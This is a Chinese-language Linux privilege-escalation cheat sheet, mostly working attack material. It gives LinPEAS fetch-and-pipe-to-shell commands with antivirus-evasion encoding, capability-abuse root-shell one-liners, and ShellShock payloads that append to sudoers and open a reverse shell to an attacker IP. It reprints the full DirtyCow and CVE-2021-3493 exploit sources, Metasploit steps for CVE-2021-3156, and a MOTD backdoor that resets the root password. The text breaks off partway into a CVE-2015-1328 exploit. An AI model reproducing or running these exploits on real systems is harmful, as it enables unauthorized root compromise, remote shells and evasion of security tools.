提权

Linux提权

linux提权信息收集

监控没有root权限的linux进程

Not found

操作系统及内核的发行版本、详细信息

• linux内核提权 uname -a 查看内核版本，针对内核版本去找已知漏洞。

• 发现SUID权限上的配置错误 find / -perm /4000 其中 4000代表SUID权限文件

• sudo -i 配置上的漏洞

• sudo -l 查看权限配分

• 如果都无效需要寻找新的出路，在目标系统上进行大量的信息搜集

• 如果可以免密或者其他方式使用sudo权限的系统指令，则尝试使用GTFOBins提权

• lsb_release -a 显示发行版本信息

• sudo --version 查看sudo版本

• crontab -i 查看计划任务

• 如果普通账户有mysql的(root)NOPASSWD权限，进入mysql，输入\! bash 即可提权

系统信息

• 主机名

• 网络信息：网卡信息、IP信息、DNS信息

• 默认路由信息

用户信息

• 当前用户详细信息

• 登录到该主机的用户信息

• 所有用户的信息（包括UID/GID信息）

特殊权限信息

• /etc/sudoers文件是否可读

• 当前用户是否拥有sudo权限

• 是否存在使用sudo可以调用的二进制程序

• 所有用户的home目录是否可以访问

环境信息

• 当前的$PATH信息

• 环境变量env信息

进程/任务信息

• 进程列表信息

• 计划任务信息 /etc/crontab 任务日志cronlog

• 系统计时器信息

服务信息

• 当前网络连接信息（TCP & UDP）

• 当前开启的服务器信息（init.d）

常用第三方程序信息（包括但不限于）

• sudo

• Mysql

• Postgres

• Apache

• Docker

文件/程序信息

• 所有的SUID/GUID程序信息

• 所有的具有POSIX capabilities程序信息

• 所有的可写文件信息

• 在可读文件中搜索关键字password信息

LinPEAS自动化提权信息挖掘

LinPEAS 是一个脚本，用于搜索在 Linux/Unix*/MacOS 主机上提升权限的可能路径。这些检查在[book.hacktricks.xyz上进行了解释](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)

linpeas.sh

基本信息

此脚本的目标是搜索可能的权限提升路径（在 Debian、CentOS、FreeBSD、OpenBSD 和 MacOS 中测试）。

这个脚本没有任何依赖。

它使用**/bin/sh**语法，因此可以在任何支持sh（以及使用的二进制文件和参数）中运行。

默认情况下，linpeas 不会向磁盘写入任何内容，也不会尝试以任何其他用户身份使用su.

默认情况下 linpeas 大约需要4 分钟才能完成，但使用**-a参数执行所有检查可能需要5 到 10 分钟***（CTF 的推荐选项）*：

• 从不到 1 分钟到 2 分钟完成几乎所有检查

• 在系统的所有可访问文件中搜索可能的密码几乎需要 1 分钟

• 20s/user bruteforce with top2000 密码*（需要*-*a）-* 请注意，此检查非常嘈杂

• 1 分钟监控进程以查找非常频繁的 cron 作业*（需要-a）* - 请注意，此检查需要在将被删除的文件中写入一些信息

有趣的参数：

-a（除正则表达式外的所有检查）- 这还将在 1 分钟内执行进程检查，将在文件中搜索更多可能的哈希值，并暴力破解每个用户使用sutop2000 密码。

-e (额外的枚举) - 这将执行默认避免的枚举检查

-r（正则表达式检查）——这将在 silesystem 中搜索数百个不同平台的 API 密钥

-s（超快和隐身） - 这将绕过一些耗时的检查 -隐身模式（不会将任何内容写入磁盘）

-P（密码） - 传递一个密码，该密码将与其他用户一起使用sudo -l并暴力破解其他用户

-D（调试）- 打印有关未发现任何内容的检查以及每次检查所用时间的信息

-d/-p/-i/-t（本地网络枚举）-Linpeas 还可以发现和端口扫描本地网络

该脚本中包含多个列表，以便能够为结果着色以突出显示 PE 矢量。

Enumerate and search Privilege Escalation vectors.
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.
        Checks:
            -o Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.
            -s Stealth & faster (don't check some time consuming checks)
            -e Perform extra enumeration
            -t Automatic network scan & Internet conectivity checks - This option writes to files
            -r Enable Regexes (this can take from some mins to hours)
            -P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
	    -D Debug mode

        Network recon:
            -t Automatic network scan & Internet conectivity checks - This option writes to files
	    -d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
            -p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
            -i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
             Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed

        Port forwarding:
            -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a local IP to a remote IP

        Firmware recon:
            -f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder

        Misc:
            -h To show this message
	    -w Wait execution between big blocks of checks
            -L Force linpeas execution
            -M Force macpeas execution
	    -q Do not show banner
            -N Do not use colours

快速开始

MacPEAS
只需linpeas.sh在 MacOS 系统中执行， **MacPEAS 版本将自动执行**

在发布页面中找到所有脚本和二进制文件的最新版本。

# 来自 github
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# 本地网络
sudo python -m SimpleHTTPServer 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim

# 没有 curl 命令情况
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim

# 从内存执行并将输出发送回主机
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim

# 输出到文件
./linpeas.sh -a > /dev/shm/linpeas.txt #V ictim
less -r /dev/shm/linpeas.txt # Read with colors

# 使用linpeas二进制文件
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

固件分析

如果你有一个固件并且你想用 linpeas 分析它以搜索密码或错误的配置权限，你有 2 个主要选项。

• 如果您可以模拟固件，只需在其中运行 linpeas：

cp /path/to/linpeas.sh /mnt/linpeas.sh
chroot /mnt #Supposing you have mounted the firmware FS in /mnt
bash /linpeas.sh -o software_information,interesting_files,api_keys_regex

• 如果您无法模拟固件，请使用f </path/to/folder参数：

# Point to the folder containing the files you want to analyze
bash /path/to/linpeas.sh -f /path/to/folder

AV Bypass（旁路）

#open-ssl 加密
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
sudo python -m SimpleHTTPServer 80 # 启动HTTP服务器
curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh # 从受害者那里下载

#Base64 加密
base64 -w0 linpeas.sh > lp.enc
sudo python -m SimpleHTTPServer 80 # 启动HTTP服务器
curl 10.10.10.10/lp.enc | base64 -d | sh # 从受害者那里下载

主机发现和端口扫描

使用LinPEAS，您还可以使用 and/or 自动发现主机fping，并使用.pingncnc

LinPEAS 将自动在其中搜索此二进制文件，$PATH并让您知道它们是否可用。在这种情况下，您可以使用 LinPEAS 来托管 dicovery and/or 端口扫描。

输出结果颜色使用

LinPEAS 使用颜色来指示每个部分的开始位置。但它也使用它们来识别潜在的错误配置。

红色**/黄色**用于识别导致 PE 的配置（99% 肯定）

红色用于识别可能导致 PE 的可疑配置：

• 可能的可利用内核版本

• 易受攻击的 sudo 版本

• 识别以 root 身份运行的进程

• 未安装的设备

• 危险的 fstab 权限

• 有趣目录中的可写文件

• 具有某些易受攻击版本的 SUID/SGID 二进制文件（它还指定易受攻击的版本）

• 可用于在 sudo -l（无密码）中提升权限的 SUDO 二进制文件（https://gtfobins.github.io/

  ）

• 检查 /etc/doas.conf

• 网络统计中的 127.0.0.1

• 可能包含密码的已知文件

• 有趣的二进制文件中的功能

• 二进制文件的有趣功能

• 有关 cron 作业的信息中的可写文件夹和通配符

• PATH 中的可写文件夹

• 可能导致root的组

• 可能包含密码的文件

• 可疑的 cronjobs

绿色用于：

• 由 root 运行的常用进程

• 安装常见的不感兴趣的设备

• 不危险的 fstab 权限

• SUID/SGID 通用二进制文件（该 bin 已在其他机器中找到，并且 searchsploit 未识别任何易受攻击的版本）

• 路径中的常见 .sh 文件

• 执行进程的用户的通用名称

• 常见的 cronjobs

蓝色用于：

• 没有外壳的用户

• 安装设备

浅青色用于：

• 有壳的用户

浅洋红色用于：

• 当前用户名

脚本解析器

这些脚本允许您将 linpeas/macpeas/winpeas 的输出转换为 JSON，然后转换为 PDF 和 HTML。

python3 peass2json.py </path/to/executed_peass.out> </path/to/peass.json>
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
python3 json2html.py </path/to/peass.json> </path/to/peass.html>

JSON 格式

基本上，每个部分都有：

• 信息（有关该部分的 URL 或信息）

• 文本行（该部分中的真实文本信息，包括颜色）

• 更多部分

最多有3 个级别的部分。

{
  "<Main Section Name>": {
    "sections": {
      "<Secondary Section Name>": {
        "sections": {},
        "lines": [
          {
            "raw_text": "\u001b[0m\u001b[1;33m[+] \u001b[1;32mnmap\u001b[1;34m is available for network discover & port scanning, you should use it yourself",
            "clean_text": "[+]  is available for network discover & port scanning, you should use it yourself",
            "colors": {
                "GREEN": [
                    "nmap"
                ],
                "YELLOW": [
                    "[+]"
                ]
            }
          }
        ],
        "infos": [
          "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
        ]
      },
      "infos": []

{
  "System Information": {
    "sections": {
      "Operative system": {
        "sections": {},
        "lines": [
          {
            "raw_text": "\u001b[0m\u001b[1;33m[+] \u001b[1;32mnmap\u001b[1;34m is available for network discover & port scanning, you should use it yourself",
            "clean_text": "[+]  is available for network discover & port scanning, you should use it yourself",
            "colors": {
                "GREEN": [
                    "nmap"
                ],
                "YELLOW": [
                    "[+]"
                ]
            }
          }
        ],
        "infos": [
          "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
        ]
      },
      "infos": []

Capabilities提权

Capabilities是linux内核的一个功能 Linux2.2引入进来，功能为权限管理

capabilities(7) - Linux manual page

利用Capability实现权限提升

查找设置了capabilities可执行文件

getcap -r / 2>/dev/null

5.2 gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
5.3 perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
5.4 php
php -r "posix_setuid(0); system('/bin/sh');"
5.5 python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
5.6 ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
5.7 rvim
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
5.8 vim
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

5.9 tar
# tar权限
norris@sirrom:~$ /sbin/getcap -r / 2>/dev/null
/usr/bin/tar = cap_dac_read_search+ep
# cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查，利用此特性我们可以读取系统中的敏感信息。
# 绕过权限检查即可成功创建压缩文件
norris@sirrom:~$ tar -vcf root.tar /root
tar: Removing leading `/' from member names
/root/
/root/root.txt
/root/.bashrc
/root/.gnupg/
/root/.gnupg/private-keys-v1.d/
/root/.bash_history
/root/.cache/
/root/.local/
/root/.local/share/
/root/.local/share/nano/
/root/.profile
# 解压缩
norris@sirrom:~$ ls -la root.tar 
-rw-r--r-- 1 norris norris 10240 Mar 19 08:44 root.tar
norris@sirrom:~$ tar -xf root.tar 
norris@sirrom:~$ ls -la /root
total 36
drwx------ 5 norris norris 4096 Oct 11  2019 .
drwxr-xr-x 6 norris norris 4096 Mar 19 08:45 ..
-r-------- 1 norris norris  672 Oct 11  2019 .bash_history
-rw-r--r-- 1 norris norris  570 Jan 31  2010 .bashrc
drwx------ 2 norris norris 4096 Oct 11  2019 .cache
drwx------ 3 norris norris 4096 Oct 11  2019 .gnupg
drwxr-xr-x 3 norris norris 4096 Oct 11  2019 .local
-rw-r--r-- 1 norris norris  148 Aug 17  2015 .profile
-rw------- 1 norris norris   33 Oct 11  2019 root.txt
# 读取root.txt文件
norris@sirrom:~$ cat /root/root.txt 
8fc9376d961670ca10be270d52eda423

5.10 openssl

# 使用openssl读取/etc/shadow文件
setcap =ep /usr/bin/openssl
 
# 使用openssl生成证书
┌──(kali㉿kali)-[/]
└─$ openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes
 
# 进入系统根目录下
┌──(kali㉿kali)-[/]
└─$ cd /
 
# 启动web服务器，监听8080端口
┌──(kali㉿kali)-[/]
└─$ openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP
 
# 访问本机的web服务，读取/etc/shadow文件
┌──(kali㉿kali)-[~]
└─$ curl --http0.9 -k "https://127.0.0.1:8080/etc/shadow"
root:!:18681:0:99999:7:::
daemon:*:18681:0:99999:7:::
bin:*:18681:0:99999:7:::
sys:*:18681:0:99999:7:::
sync:*:18681:0:99999:7:::

service命令提权

https://gtfobins.github.io/gtfobins/service/

service | GTFOBins

ShellShock提权

ShellShock || BashDoor || 破壳漏洞 漏洞范围 Bash < 4.3 要目标服务器开放着与Bash相交互的应用与服务，就有可能成功触发漏洞，获取目标系统当前Bash运行用户相同权限的shell接口

漏洞信息

## POC ##
❯ /bin/bash -version

# bash < 4.3 即可
GNU bash, version 3.2.57(1)-release

❯ env x='() { :;}; echo "It Is vulnerable"' /bin/bash -c "echo this is a test"

# 若存在漏洞，将会回显
It Is vulnerable
this is a test

# 首先应该确定目标机的cgi 脚本可以正常的从攻击端访问到，我的cgi脚本内容如下

=====================================
#!/bin/bash
echo 'Content-type:text/html'
echo ''
echo 'This is a bash script'
=====================================

# 存放于目标机（apache服务器）的/usr/lib/cgi-bin/echo.cgi 中。
# 提示：如果使用apache服务器，那么脚本的头部如果不是 echo ‘Content-type:text/html’ 访问时可能会报错

# 尝试访问：
❯ curl http://10.10.10.129/cgi-bin/echo.cgi
This is a bash script
# 访问成功。

漏洞利用

方法一 - 提权

前提条件：必须同时存在任意文件访问漏洞

# 在kali中使用一下命令
❯ curl 'http://172.16.12.129/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/user/test.cgi' -A '() { :; }; /bin/echo "user ALL=(ALL:ALL)" >> /etc/sudoers'

回到目标靶机查看sudo权限

user@ubuntu:~$ sudo -l

User user may run the following commands on this host:
    (ALL : ALL) ALL

user@ubuntu:~$ sudo /bin/bash
root@ubuntu:~$ whoami
root

方法二 - 拿shell

在kali中开启监听本地端口接收反弹回来的shell

❯ nc -nvlp 4444

打开另一个终端制造访问请求，利用shellshock漏洞，同时建立读写交互文件

# 验证
❯ curl -H 'x: () { :; }; a=`/bin/cat /etc/passwd`; echo $a' 'http://172.16.12.129/cgi-bin/test.cgi' -I
 
# 反弹
❯ curl -H 'x: () { :; }; /bin/bash -i >& /dev/tcp/172.16.12.137/4444 0>&1' 'http://172.16.12.129/cgi-bin/test.cgi' -I

以上两步运行过后，在第一个终端将会显示目标机的交互shell：

❯ nc -lv 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.10.10.129 42006 received!
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$
www-data@ubuntu:/usr/lib/cgi-bin$ whoami

uid=1000(www-data) gid=1000(www-data) groups=1000www-data)

脏牛提权

💡 CVE-2016-5195脏牛利用代码

漏洞范围：Linux内核 >= 2.6.38(or 22?)（2007年发行，到2016年10月18日才修复）

由于从2.6.38内核后才开始支持THP，所以漏洞影响所有内核在2.6.38以上并且开启THP的Linux系统。

该漏洞利用dirtycow(脏牛)漏洞的pokemon(口袋妖怪)漏洞利用作为基础，自动生成新的passwd行。运行二进制文件时，将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后，您应该能够使用新创建的用户登录。

要使用此漏洞利用，请根据您的需要修改用户值。

创建的默认用户是firefart

利用代码：

// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195GitHub

💡 [使用方法](https://github.com/FireFart/dirtycow)

编译：（在目标服务器上运行此exp）

gcc -pthread exp.c -o exp -lcrypt

然后通过执行以下任一操作运行新创建的二进制文件：

./exp

或者

 ./exp my-new-password

使用

之后，您可以su firefart或ssh firefart@...

运行漏洞利用后不要忘记恢复您的 /etc/passwd

mv /tmp/passwd.bak /etc/passwd

恢复/etc/passwd之后，root账户重新恢复，命令行输入passwd重设root密码，则下一次可以不用触发脏牛漏洞，直接使用root账户登录即可

堆溢出提权

Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2)可利用此提权漏洞

Sudo Vulnerability CVE-2021-3156: Root Access Risk | QualysQualys

sudoedit -s '\' `perl -e 'print "A" x 65536'`

启动MSF，搜索CVE-2021-3156

use auxiliary/scanner/ssh/ssh_login
show options
set PASSWORD {target_password}
set USERNAME {target_username}
set RHOSTS 10.0.0.6
show options

run
sessions

search cve-2021-3156
use 0
show options
set SESSION 1
run

也可以使用手动的方式下载payload脚本，上传至目标端在目标端执行exp

CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156

MOTD提权

motd（message of the day ）用户登录系统时弹出的欢迎信息，默认是放在/etc/update-motd.d/的shell脚本。这些脚本文件就是当用户登录时就能以root用户身份执行一段代码。故尝试修改其中某个脚本，当每次登录系统就把root用户密码修改为一个已知的密码

# 查找宿主是root用户，其他用户可以写的，可执行的文件
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

例：/etc/update-motd.d 中的文件脚本普通用户都可执行和修改

-rwxrwxrwx 1 root root 124 Sep 22  2020 /mnt/hell.sh
-rwxrwxrwx 1 root root 299 May 18  2017 /etc/update-motd.d/91-release-upgrade
-rwxrwxrwx 1 root root 1220 Apr  9  2018 /etc/update-motd.d/00-header
-rwxrwxrwx 1 root root 4251 Apr  9  2018 /etc/update-motd.d/50-motd-news
-rwxrwxrwx 1 root root 604 Mar 21  2018 /etc/update-motd.d/80-esm
-rwxrwxrwx 1 root root 3017 Mar 21  2018 /etc/update-motd.d/80-livepatch
-rwxrwxrwx 1 root root 1157 Apr  9  2018 /etc/update-motd.d/10-help-text

vi /etc/update-motd.d/00-header
#在脚本最后添加一条命令
echo 'root:123' | chpasswd

重新连接普通账号，当跳出登录欢迎代码时代表payload已经运行，此时切换root账户

ssh [email protected]

admin@ubuntu:su root
passwd:123

root@ubuntu:id
uid=0(root) gid=0(root) groups=0(root)

Ubuntu-CVE提权

CVE-2021-3493提权

CVE-2021-3493漏洞介绍

# CVE-2021-3493
Ubuntu OverlayFS Local Privesc
Ubuntu OverlayFS 本地提权
## Affected Versions
## 受影响的版本
- Ubuntu 20.10
- Ubuntu 20.04 LTS
- Ubuntu 19.04
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS
- Ubuntu 14.04 ESM

## Usage
## 用法

- ```gcc exploit.c -o exploit```
- ```./exploit```·

## Description
## 描述
"Ubuntu specific issue in the overlayfs file system in the Linux kernel where it did not properly validate the application of file system capabilities with respect to user namespaces. A local attacker could use this to gain elevated privileges, due to a patch carried in Ubuntu to allow unprivileged overlayfs mounts." [- Ubuntu Security](https://ubuntu.com/security/CVE-2021-3493)
"Linux 内核中的 overlayfs 文件系统中的 Ubuntu 特定问题，它没有正确验证文件系统功能相对于用户命名空间的应用。 本地攻击者可以使用它来获得提升的权限，因为 Ubuntu 中携带的补丁允许非特权的 overlayfs 挂载"

Fixed in Linux 5.11

## References
## 参考
- https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/
- https://ubuntu.com/security/CVE-2021-3493
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7c03e2cda4a584cadc398e8f6641ca9988a39d52
- https://www.openwall.com/lists/oss-security/2021/04/16/1

## Disclaimer
## 免责声明
I am not the author of this exploit. I have not made any modifications to the PoC found here: https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/.
我不是这个漏洞的作者。 我没有对此处找到的 PoC 进行任何修改：https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/。

EXP利用代码

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);

#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"

static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

CVE-2015-1328提权

💡 CVE-2015-1328漏洞介绍

# 漏洞标题: ofs.c - overlayfs local root in ubuntu
# 时间: 2015-06-15
# 漏洞作者: rebel
## 受影响的版本
2015-06-15内核之前
- Ubuntu 12.04
- Ubuntu 14.04
- Ubuntu 14.10
- Ubuntu 15.04 
# 测试 : Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

CVE-2015-1328 / ofs.c
叠加错误的权限处理 + FS_USERNS_MOUNT（Fs用户安装）

## 使用流程 ##
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic 18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

## 提权成功 ##
root@ubuntu-server:~$ id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

💡 EXP利用代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
